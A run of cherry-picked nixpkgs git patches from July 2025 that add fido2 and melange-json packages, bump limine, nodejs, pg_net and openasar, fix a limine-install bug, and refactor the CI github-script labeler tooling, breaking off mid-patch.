From: Jonas Heinrich <onny@project-insanity.org>
Date: Tue, 8 Jul 2025 10:04:09 +0200
Subject: [PATCH 2438/4511] python3Packages.fido2_2: init at 2.0.0

(cherry picked from commit 99d4350e1241334d64ece49da7bd9a48cbf6d9dc)
---
 pkgs/development/python-modules/fido2/2.nix | 50 +++++++++++++++++++++
 pkgs/top-level/python-packages.nix          |  2 +
 2 files changed, 52 insertions(+)
 create mode 100644 pkgs/development/python-modules/fido2/2.nix

diff --git a/pkgs/development/python-modules/fido2/2.nix b/pkgs/development/python-modules/fido2/2.nix
new file mode 100644
index 000000000000..a9f8a826e43e
--- /dev/null
+++ b/pkgs/development/python-modules/fido2/2.nix
@@ -0,0 +1,50 @@
+{
+  lib,
+  buildPythonPackage,
+  cryptography,
+  fetchPypi,
+  poetry-core,
+  pyscard,
+  pythonOlder,
+  pytestCheckHook,
+}:
+
+buildPythonPackage rec {
+  pname = "fido2";
+  version = "2.0.0";
+  pyproject = true;
+
+  disabled = pythonOlder "3.8";
+
+  src = fetchPypi {
+    inherit pname version;
+    hash = "sha256-MGHNBec7Og72r8O4A9V8gmqi1qlzLRar1ydzYfWOeWQ=";
+  };
+
+  build-system = [ poetry-core ];
+
+  pythonRelaxDeps = [ "cryptography" ];
+
+  dependencies = [ cryptography ];
+
+  optional-dependencies = {
+    pcsc = [ pyscard ];
+  };
+
+  nativeCheckInputs = [ pytestCheckHook ];
+
+  unittestFlagsArray = [ "-v" ];
+
+  # Disable tests which require physical device
+  pytestFlagsArray = [ "--no-device" ];
+
+  pythonImportsCheck = [ "fido2" ];
+
+  meta = {
+    description = "Provides library functionality for FIDO 2.0, including communication with a device over USB";
+    homepage = "https://github.com/Yubico/python-fido2";
+    changelog = "https://github.com/Yubico/python-fido2/releases/tag/${version}";
+    license = lib.licenses.bsd2;
+    maintainers = with lib.maintainers; [ prusnak ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index eba1b8c1843d..b7baa5a0713c 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -4913,6 +4913,8 @@ self: super: with self; {
 
   fido2 = callPackage ../development/python-modules/fido2 { };
 
+  fido2_2 = callPackage ../development/python-modules/fido2/2.nix { };
+
   fields = callPackage ../development/python-modules/fields { };
 
   file-read-backwards = callPackage ../development/python-modules/file-read-backwards { };

From fed81c9355eca6c4c4383a67f68b9b159345d9cb Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Thu, 10 Jul 2025 10:54:47 +0200
Subject: [PATCH 2439/4511] nixos/froide-govplan: Increase startup timeout

(cherry picked from commit d6e3516544e5754483496a5f6aa9c3d9e64932f3)
---
 nixos/modules/services/web-apps/froide-govplan.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/nixos/modules/services/web-apps/froide-govplan.nix b/nixos/modules/services/web-apps/froide-govplan.nix
index 71e77c6f66db..a2b03f4a6a45 100644
--- a/nixos/modules/services/web-apps/froide-govplan.nix
+++ b/nixos/modules/services/web-apps/froide-govplan.nix
@@ -182,6 +182,7 @@ in
             StateDirectory = lib.mkIf (cfg.dataDir == "/var/lib/froide-govplan") "froide-govplan";
             User = "govplan";
             Group = "govplan";
+            TimeoutStartSec = "5m";
           };
           after = [
             "postgresql.service"

From faa58b0701ca35b1e3508109a5c77eb6037262b8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 10 Jul 2025 16:06:51 +0000
Subject: [PATCH 2440/4511] limine: 9.3.4 -> 9.4.0

(cherry picked from commit b06f79b368695ee2b6ed21bd4dd0b3ad68c1399a)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index 5489ba82c4df..8043c36688ad 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.3.4";
+  version = "9.4.0";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-GXArMxm7vDyUShTIM1O8/4M8h/ol/b8YcsXdodxJqeM=";
+    hash = "sha256-ddQB0wKMhKSnPrJflgsDfyWCzOiFehf/2CijPiVk65U=";
   };
 
   enableParallelBuilding = true;

From f638fd2f60dacc6745159fa6a97e42c2ebabaa29 Mon Sep 17 00:00:00 2001
From: sanana <umutinanerdogan@pm.me>
Date: Mon, 14 Jul 2025 20:50:25 +0300
Subject: [PATCH 2441/4511] limine: 9.4.0 -> 9.5.0

(cherry picked from commit 3990bc30a30e7dd0cffe6288ab1eca6829ea79da)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index 8043c36688ad..36786b404df2 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.4.0";
+  version = "9.5.0";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-ddQB0wKMhKSnPrJflgsDfyWCzOiFehf/2CijPiVk65U=";
+    hash = "sha256-SWJ5e6/q92UyC0ea8yJAYcFNr5LreJ2qFY7hcunovEM=";
   };
 
   enableParallelBuilding = true;

From 5fc31ce1b8f1299f300f05aad02b7c25b24fd944 Mon Sep 17 00:00:00 2001
From: sanana <umutinanerdogan@pm.me>
Date: Mon, 14 Jul 2025 21:09:54 +0300
Subject: [PATCH 2442/4511] limine-install: fix profile enumeration

Fixes #425158.

(cherry picked from commit 6baed48380f1f5b78ffd767b7694915a0a7d281d)
---
 nixos/modules/system/boot/loader/limine/limine-install.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/system/boot/loader/limine/limine-install.py b/nixos/modules/system/boot/loader/limine/limine-install.py
index 9a8be6ee49fc..d7dd5764ef26 100644
--- a/nixos/modules/system/boot/loader/limine/limine-install.py
+++ b/nixos/modules/system/boot/loader/limine/limine-install.py
@@ -274,7 +274,7 @@ def main():
     profiles = [('system', get_gens())]
 
     for profile in get_profiles():
-        profiles += (profile, get_gens(profile))
+        profiles += [(profile, get_gens(profile))]
 
     timeout = config('timeout')
     editor_enabled = 'yes' if config('enableEditor') else 'no'

From 625dcec09e48b5481b96a9d8a72595a349c0c02a Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Fri, 20 Jun 2025 09:47:47 +0300
Subject: [PATCH 2443/4511] kdePackages.kasts: build with taglib_1 to match
 libvlc

Otherwise it segfaults.

(cherry picked from commit 4c68f29c6bd54e1e7880131a5f3b7882f3ea5a01)
---
 pkgs/kde/gear/kasts/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/kde/gear/kasts/default.nix b/pkgs/kde/gear/kasts/default.nix
index f95ea1c80892..3f7dc2de80cc 100644
--- a/pkgs/kde/gear/kasts/default.nix
+++ b/pkgs/kde/gear/kasts/default.nix
@@ -3,7 +3,7 @@
   qtsvg,
   qtmultimedia,
   pkg-config,
-  taglib,
+  taglib_1,
   libvlc,
 }:
 mkKdeDerivation {
@@ -13,7 +13,7 @@ mkKdeDerivation {
   extraBuildInputs = [
     qtsvg
     qtmultimedia
-    taglib
+    taglib_1
     libvlc
   ];
   meta.mainProgram = "kasts";

From bb8049baba653f77c90788d0a743fe631cb32d89 Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 9 Jul 2025 14:46:42 +0200
Subject: [PATCH 2444/4511] nodejs_24: 24.3.0 -> 24.4.0

(cherry picked from commit 8d74a9061c4cd4b131089fae99269e3d3ddda47e)
---
 pkgs/development/web/nodejs/v24.nix | 11 ++---------
 1 file changed, 2 insertions(+), 9 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index 9b44178afda9..c4bb1f022071 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.3.0";
-  sha256 = "eb688ef8a63fda9ebc0b5f907609a46e26db6d9aceefc0832009a98371e992ed";
+  version = "24.4.0";
+  sha256 = "42fa8079da25a926013cd89b9d3467d09110e4fbb0c439342ebe4dd6ecc26bbb";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then
@@ -51,13 +51,6 @@ buildNodejs {
       ./node-npm-build-npm-package-logic.patch
       ./use-correct-env-in-tests.patch
       ./bin-sh-node-run-v22.patch
-
-      # Fix for flaky test
-      # TODO: remove when included in a release
-      (fetchpatch2 {
-        url = "https://github.com/nodejs/node/commit/cd685fe3b6b18d2a1433f2635470513896faebe6.patch?full_index=1";
-        hash = "sha256-KA7WBFnLXCKx+QVDGxFixsbj3Y7uJkAKEUTeLShI1Xo=";
-      })
     ]
     ++ lib.optionals (!stdenv.buildPlatform.isDarwin) [
       # test-icu-env is failing without the reverts

From 6d07ddf47ac23dcc36dea7a454a8d46bc289174f Mon Sep 17 00:00:00 2001
From: Julien Girard-Satabin <julien.girard2@cea.fr>
Date: Tue, 27 May 2025 10:56:54 +0200
Subject: [PATCH 2445/4511] melange-json: init at version 2.0.0

(cherry picked from commit 75c88ebffe2a13f92a832e704c8cde20bfdc41da)
---
 .../ocaml-modules/melange-json/default.nix    | 32 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 ++
 2 files changed, 34 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/melange-json/default.nix

diff --git a/pkgs/development/ocaml-modules/melange-json/default.nix b/pkgs/development/ocaml-modules/melange-json/default.nix
new file mode 100644
index 000000000000..69b2e7004ab5
--- /dev/null
+++ b/pkgs/development/ocaml-modules/melange-json/default.nix
@@ -0,0 +1,32 @@
+{
+  lib,
+  fetchFromGitHub,
+  buildDunePackage,
+  yojson,
+  melange,
+  ppxlib,
+}:
+
+buildDunePackage rec {
+  pname = "melange-json";
+  version = "2.0.0";
+  src = fetchFromGitHub {
+    owner = "melange-community";
+    repo = "melange-json";
+    tag = version;
+    hash = "sha256-vgcvPRc2vEHE1AtHyttvs1T0LcoeTOFfmPUCz95goT0=";
+  };
+
+  nativeBuildInputs = [ melange ];
+  buildInputs = [
+    melange
+    yojson
+    ppxlib
+  ];
+  meta = {
+    description = "Compositional JSON encode/decode library and PPX for Melange and OCaml";
+    homepage = "https://github.com/melange-community/melange-json";
+    license = lib.licenses.lgpl3;
+    maintainers = [ lib.maintainers.GirardR1006 ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index 00bc16314969..53b740933afb 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -1218,6 +1218,8 @@ let
 
         melange = callPackage ../development/tools/ocaml/melange { };
 
+        melange-json = callPackage ../development/ocaml-modules/melange-json { };
+
         memprof-limits = callPackage ../development/ocaml-modules/memprof-limits { };
 
         memtrace = callPackage ../development/ocaml-modules/memtrace { };

From 0f9c1d754d2af1c2c3c984bd4742a388c9f4a00e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 10:56:50 +0000
Subject: [PATCH 2446/4511] postgresqlPackages.pg_net: 0.18.0 -> 0.19.1

(cherry picked from commit 71aabd66802ca4e96a3cdc6ef2d6faa389c4eba9)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 8 ++------
 1 file changed, 2 insertions(+), 6 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index c754b7104f43..d0c55edced2e 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,21 +8,17 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.18.0";
+  version = "0.19.1";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-MXZewz6vb1ZEGMzbk/x0VtBDH2GxnwYWsy3EjJnas2U=";
+    hash = "sha256-Sy2PG1zCB6tNbcMNMWvl/Fe2Zu1stvEIqGrLsRF09GY=";
   };
 
   buildInputs = [ curl ];
 
-  env.NIX_CFLAGS_COMPILE = toString (
-    lib.optional (lib.versionAtLeast postgresql.version "18") "-Wno-error=missing-variable-declarations"
-  );
-
   meta = {
     description = "Async networking for Postgres";
     homepage = "https://github.com/supabase/pg_net";

From 10fbdf8f4d32021937f095eb7ec5dfcbab1f5105 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 15 Jul 2025 07:01:44 +0000
Subject: [PATCH 2447/4511] openasar: 0-unstable-2025-01-20 ->
 0-unstable-2025-07-14

(cherry picked from commit 492046d268c2245e689bdc034f2228ab42c1c515)
---
 pkgs/by-name/op/openasar/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/openasar/package.nix b/pkgs/by-name/op/openasar/package.nix
index d37f6feb246a..d17c378fabb2 100644
--- a/pkgs/by-name/op/openasar/package.nix
+++ b/pkgs/by-name/op/openasar/package.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "openasar";
-  version = "0-unstable-2025-01-20";
+  version = "0-unstable-2025-07-14";
 
   src = fetchFromGitHub {
     owner = "GooseMod";
     repo = "OpenAsar";
-    rev = "e88eebf440866a06f3eca3b4fe2a8cc07818ee61";
-    hash = "sha256-SejlIm9AIK09grP8j5h0O8DxIv85zGssr170xskGx2I=";
+    rev = "e6991e30910b4019bff1ad6e1934534ad546831e";
+    hash = "sha256-COz3X2sYSYnd436pOjiHgpYxQbn6hRCo8AefPzv5hTs=";
   };
 
   postPatch = ''

From d20221950235cc4312497854f0671e7e44626a15 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 12 Jul 2025 15:24:14 +0200
Subject: [PATCH 2448/4511] ci/github-script: move from ci/labels

This just moves things around to use less specific naming - `labels` is
only *one* script that can potentially be run locally while still being
written in github-script. Later, we can add more.

(cherry picked from commit 6f6c62502622fea6904d6d7e42b89f3ebc400ede)
---
 .github/workflows/labels.yml                   |  4 ++--
 ci/{labels => github-script}/.editorconfig     |  0
 ci/{labels => github-script}/.gitignore        |  0
 ci/{labels => github-script}/.npmrc            |  0
 ci/github-script/README.md                     | 13 +++++++++++++
 ci/{labels => github-script}/labels.cjs        |  0
 ci/{labels => github-script}/package-lock.json |  0
 ci/{labels => github-script}/package.json      |  0
 ci/{labels => github-script}/run.js            |  2 +-
 ci/{labels => github-script}/shell.nix         |  0
 ci/labels/README.md                            |  4 ----
 11 files changed, 16 insertions(+), 7 deletions(-)
 rename ci/{labels => github-script}/.editorconfig (100%)
 rename ci/{labels => github-script}/.gitignore (100%)
 rename ci/{labels => github-script}/.npmrc (100%)
 create mode 100644 ci/github-script/README.md
 rename ci/{labels => github-script}/labels.cjs (100%)
 rename ci/{labels => github-script}/package-lock.json (100%)
 rename ci/{labels => github-script}/package.json (100%)
 rename ci/{labels => github-script}/run.js (92%)
 rename ci/{labels => github-script}/shell.nix (100%)
 delete mode 100644 ci/labels/README.md

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index f5a04ad073bc..ff6905d62164 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -43,7 +43,7 @@ jobs:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
           sparse-checkout: |
-            ci/labels
+            ci/github-script
 
       - name: Install dependencies
         run: npm install @actions/artifact bottleneck
@@ -69,7 +69,7 @@ jobs:
           github-token: ${{ steps.app-token.outputs.token || github.token }}
           retries: 3
           script: |
-            require('./ci/labels/labels.cjs')({
+            require('./ci/github-script/labels.cjs')({
               github,
               context,
               core,
diff --git a/ci/labels/.editorconfig b/ci/github-script/.editorconfig
similarity index 100%
rename from ci/labels/.editorconfig
rename to ci/github-script/.editorconfig
diff --git a/ci/labels/.gitignore b/ci/github-script/.gitignore
similarity index 100%
rename from ci/labels/.gitignore
rename to ci/github-script/.gitignore
diff --git a/ci/labels/.npmrc b/ci/github-script/.npmrc
similarity index 100%
rename from ci/labels/.npmrc
rename to ci/github-script/.npmrc
diff --git a/ci/github-script/README.md b/ci/github-script/README.md
new file mode 100644
index 000000000000..73cb4119a68d
--- /dev/null
+++ b/ci/github-script/README.md
@@ -0,0 +1,13 @@
+# GitHub specific CI scripts
+
+This folder contains [`actions/github-script`](https://github.com/actions/github-script)-based JavaScript code.
+It provides a `nix-shell` environment to run and test these actions locally.
+
+To run any of the scripts locally:
+
+- Provide `gh` on `PATH` and make sure it's authenticated.
+- Enter `nix-shell` in `./ci/github-script`.
+
+## Labeler
+
+Run `./run.js OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
diff --git a/ci/labels/labels.cjs b/ci/github-script/labels.cjs
similarity index 100%
rename from ci/labels/labels.cjs
rename to ci/github-script/labels.cjs
diff --git a/ci/labels/package-lock.json b/ci/github-script/package-lock.json
similarity index 100%
rename from ci/labels/package-lock.json
rename to ci/github-script/package-lock.json
diff --git a/ci/labels/package.json b/ci/github-script/package.json
similarity index 100%
rename from ci/labels/package.json
rename to ci/github-script/package.json
diff --git a/ci/labels/run.js b/ci/github-script/run.js
similarity index 92%
rename from ci/labels/run.js
rename to ci/github-script/run.js
index d7e8e9ff9401..7f3f92e7b1f0 100755
--- a/ci/labels/run.js
+++ b/ci/github-script/run.js
@@ -7,7 +7,7 @@ import { getOctokit } from '@actions/github'
 import labels from './labels.cjs'
 
 if (process.argv.length !== 4)
-  throw new Error('Call this with exactly two arguments: ./run.js OWNER REPO')
+  throw new Error('Call this with exactly three arguments: ./run OWNER REPO')
 const [, , owner, repo] = process.argv
 
 const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
diff --git a/ci/labels/shell.nix b/ci/github-script/shell.nix
similarity index 100%
rename from ci/labels/shell.nix
rename to ci/github-script/shell.nix
diff --git a/ci/labels/README.md b/ci/labels/README.md
deleted file mode 100644
index 26cd88763fe6..000000000000
--- a/ci/labels/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-To test the labeler locally:
-- Provide `gh` on `PATH` and make sure it's authenticated.
-- Enter `nix-shell` in `./ci/labels`.
-- Run `./run.js OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".

From 3d3afc9d32b266e3eda0170727759ff1f631668b Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 13 Jul 2025 16:24:24 +0200
Subject: [PATCH 2449/4511] ci/github-script: add commander CLI interface

This makes it easier to add additional features.

(cherry picked from commit aaaabe0cb76f7a2e9705c06a1dc336df90789fda)
---
 ci/github-script/README.md         |  2 +-
 ci/github-script/package-lock.json | 14 +++++-
 ci/github-script/package.json      |  3 +-
 ci/github-script/run.js            | 76 +++++++++++++++++-------------
 4 files changed, 58 insertions(+), 37 deletions(-)

diff --git a/ci/github-script/README.md b/ci/github-script/README.md
index 73cb4119a68d..e71a4f173c57 100644
--- a/ci/github-script/README.md
+++ b/ci/github-script/README.md
@@ -10,4 +10,4 @@ To run any of the scripts locally:
 
 ## Labeler
 
-Run `./run.js OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
+Run `./run.js labels OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
diff --git a/ci/github-script/package-lock.json b/ci/github-script/package-lock.json
index 5c5ee09ad67e..538083dcea93 100644
--- a/ci/github-script/package-lock.json
+++ b/ci/github-script/package-lock.json
@@ -1,5 +1,5 @@
 {
-  "name": "labels",
+  "name": "github-script",
   "lockfileVersion": 3,
   "requires": true,
   "packages": {
@@ -7,7 +7,8 @@
       "dependencies": {
         "@actions/artifact": "2.3.2",
         "@actions/github": "6.0.1",
-        "bottleneck": "2.19.5"
+        "bottleneck": "2.19.5",
+        "commander": "14.0.0"
       }
     },
     "node_modules/@actions/artifact": {
@@ -950,6 +951,15 @@
       "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
       "license": "MIT"
     },
+    "node_modules/commander": {
+      "version": "14.0.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.0.tgz",
+      "integrity": "sha512-2uM9rYjPvyq39NwLRqaiLtWHyDC1FvryJDa2ATTVims5YAS4PupsEQsDvP14FqhFr0P49CYDugi59xaxJlTXRA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=20"
+      }
+    },
     "node_modules/compress-commons": {
       "version": "6.0.2",
       "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz",
diff --git a/ci/github-script/package.json b/ci/github-script/package.json
index e07813aa86b5..906f371f0d5d 100644
--- a/ci/github-script/package.json
+++ b/ci/github-script/package.json
@@ -4,6 +4,7 @@
   "dependencies": {
     "@actions/artifact": "2.3.2",
     "@actions/github": "6.0.1",
-    "bottleneck": "2.19.5"
+    "bottleneck": "2.19.5",
+    "commander": "14.0.0"
   }
 }
diff --git a/ci/github-script/run.js b/ci/github-script/run.js
index 7f3f92e7b1f0..5127a6a0ee95 100755
--- a/ci/github-script/run.js
+++ b/ci/github-script/run.js
@@ -3,43 +3,53 @@ import { execSync } from 'node:child_process'
 import { mkdtempSync, rmSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { program } from 'commander'
 import { getOctokit } from '@actions/github'
-import labels from './labels.cjs'
 
-if (process.argv.length !== 4)
-  throw new Error('Call this with exactly three arguments: ./run OWNER REPO')
-const [, , owner, repo] = process.argv
+async function run(action, owner, repo) {
+  const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
 
-const token = execSync('gh auth token', { encoding: 'utf-8' }).trim()
+  const tmp = mkdtempSync(join(tmpdir(), 'github-script-'))
+  try {
+    process.env.GITHUB_WORKSPACE = tmp
+    process.chdir(tmp)
 
-const tmp = mkdtempSync(join(tmpdir(), 'labels-'))
-try {
-  process.env.GITHUB_WORKSPACE = tmp
-  process.chdir(tmp)
-
-  await labels({
-    github: getOctokit(token),
-    context: {
-      payload: {},
-      repo: {
-        owner,
-        repo,
+    await action({
+      github: getOctokit(token),
+      context: {
+        payload: {},
+        repo: {
+          owner,
+          repo,
+        },
       },
-    },
-    core: {
-      getInput() {
-        return token
+      core: {
+        getInput() {
+          return token
+        },
+        error: console.error,
+        info: console.log,
+        notice: console.log,
+        setFailed(msg) {
+          console.error(msg)
+          process.exitCode = 1
+        },
       },
-      error: console.error,
-      info: console.log,
-      notice: console.log,
-      setFailed(msg) {
-        console.error(msg)
-        process.exitCode = 1
-      },
-    },
-    dry: true,
-  })
-} finally {
-  rmSync(tmp, { recursive: true })
+      dry: true,
+    })
+  } finally {
+    rmSync(tmp, { recursive: true })
+  }
 }
+
+program
+  .command('labels')
+  .description('Manage labels on pull requests.')
+  .argument('<owner>', 'Owner of the GitHub repository to label (Example: NixOS)')
+  .argument('<repo>', 'Name of the GitHub repository to label (Example: nixpkgs)')
+  .action(async (owner, repo) => {
+    const labels = (await import('./labels.cjs')).default
+    run(labels, owner, repo)
+  })
+
+await program.parse()

From 6f32a5f04ecef6ddcccd29b9f45b176aba68b005 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 12 Jul 2025 15:56:29 +0200
Subject: [PATCH 2450/4511] ci/github-script: default to commonjs

Since all github-scripts need to be written in commonjs, we now default
to it by not setting package.json. Support from editors for .js files is
slightly better than .cjs. To still allow using module imports in the
test runner script, we trick node into loading the script itself as a
module again via `--import ./run`.

(cherry picked from commit d11eba1e1d3a899db5d794836baa837e955b652a)
---
 .github/workflows/labels.yml               | 2 +-
 ci/github-script/.editorconfig             | 3 +--
 ci/github-script/README.md                 | 2 +-
 ci/github-script/{labels.cjs => labels.js} | 0
 ci/github-script/package.json              | 1 -
 ci/github-script/{run.js => run}           | 4 ++--
 6 files changed, 5 insertions(+), 7 deletions(-)
 rename ci/github-script/{labels.cjs => labels.js} (100%)
 rename ci/github-script/{run.js => run} (93%)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index ff6905d62164..14876ecf6294 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -69,7 +69,7 @@ jobs:
           github-token: ${{ steps.app-token.outputs.token || github.token }}
           retries: 3
           script: |
-            require('./ci/github-script/labels.cjs')({
+            require('./ci/github-script/labels.js')({
               github,
               context,
               core,
diff --git a/ci/github-script/.editorconfig b/ci/github-script/.editorconfig
index 08ca1a194873..67d678ef170c 100644
--- a/ci/github-script/.editorconfig
+++ b/ci/github-script/.editorconfig
@@ -1,4 +1,3 @@
-# TODO: Move to <top-level>/.editorconfig, once ci/.editorconfig has made its way through staging.
-[*.cjs]
+[run]
 indent_style = space
 indent_size = 2
diff --git a/ci/github-script/README.md b/ci/github-script/README.md
index e71a4f173c57..8ffff0c40922 100644
--- a/ci/github-script/README.md
+++ b/ci/github-script/README.md
@@ -10,4 +10,4 @@ To run any of the scripts locally:
 
 ## Labeler
 
-Run `./run.js labels OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
+Run `./run labels OWNER REPO`, where OWNER is your username or "NixOS" and REPO the name of your fork or "nixpkgs".
diff --git a/ci/github-script/labels.cjs b/ci/github-script/labels.js
similarity index 100%
rename from ci/github-script/labels.cjs
rename to ci/github-script/labels.js
diff --git a/ci/github-script/package.json b/ci/github-script/package.json
index 906f371f0d5d..4671dd41f0cd 100644
--- a/ci/github-script/package.json
+++ b/ci/github-script/package.json
@@ -1,6 +1,5 @@
 {
   "private": true,
-  "type": "module",
   "dependencies": {
     "@actions/artifact": "2.3.2",
     "@actions/github": "6.0.1",
diff --git a/ci/github-script/run.js b/ci/github-script/run
similarity index 93%
rename from ci/github-script/run.js
rename to ci/github-script/run
index 5127a6a0ee95..1b670a8b2875 100755
--- a/ci/github-script/run.js
+++ b/ci/github-script/run
@@ -1,4 +1,4 @@
-#!/usr/bin/env node
+#!/usr/bin/env -S node --import ./run
 import { execSync } from 'node:child_process'
 import { mkdtempSync, rmSync } from 'node:fs'
 import { tmpdir } from 'node:os'
@@ -48,7 +48,7 @@ program
   .argument('<owner>', 'Owner of the GitHub repository to label (Example: NixOS)')
   .argument('<repo>', 'Name of the GitHub repository to label (Example: nixpkgs)')
   .action(async (owner, repo) => {
-    const labels = (await import('./labels.cjs')).default
+    const labels = (await import('./labels.js')).default
     run(labels, owner, repo)
   })
 

From 383a849bd49d2c105ec83a7757b7abbda9462e74 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 12 Jul 2025 16:11:31 +0200
Subject: [PATCH 2451/4511] ci/github-script: extract common withRateLimit.js

This can and should be re-used across different scripts.

(cherry picked from commit 2192c5b6e86ab333e7471d719bcbd5a74e3b02bb)
---
 ci/github-script/labels.js        | 71 ++++---------------------------
 ci/github-script/withRateLimit.js | 61 ++++++++++++++++++++++++++
 2 files changed, 69 insertions(+), 63 deletions(-)
 create mode 100644 ci/github-script/withRateLimit.js

diff --git a/ci/github-script/labels.js b/ci/github-script/labels.js
index 809dc4581bb8..7bbe1497d906 100644
--- a/ci/github-script/labels.js
+++ b/ci/github-script/labels.js
@@ -1,61 +1,12 @@
 module.exports = async function ({ github, context, core, dry }) {
-  const Bottleneck = require('bottleneck')
   const path = require('node:path')
   const { DefaultArtifactClient } = require('@actions/artifact')
   const { readFile, writeFile } = require('node:fs/promises')
+  const withRateLimit = require('./withRateLimit.js')
 
   const artifactClient = new DefaultArtifactClient()
 
-  const stats = {
-    issues: 0,
-    prs: 0,
-    requests: 0,
-    artifacts: 0,
-  }
-
-  // Rate-Limiting and Throttling, see for details:
-  //   https://github.com/octokit/octokit.js/issues/1069#throttling
-  //   https://docs.github.com/en/rest/using-the-rest-api/best-practices-for-using-the-rest-api
-  const allLimits = new Bottleneck({
-    // Avoid concurrent requests
-    maxConcurrent: 1,
-    // Will be updated with first `updateReservoir()` call below.
-    reservoir: 0,
-  })
-  // Pause between mutative requests
-  const writeLimits = new Bottleneck({ minTime: 1000 }).chain(allLimits)
-  github.hook.wrap('request', async (request, options) => {
-    // Requests to the /rate_limit endpoint do not count against the rate limit.
-    if (options.url == '/rate_limit') return request(options)
-    // Search requests are in a different resource group, which allows 30 requests / minute.
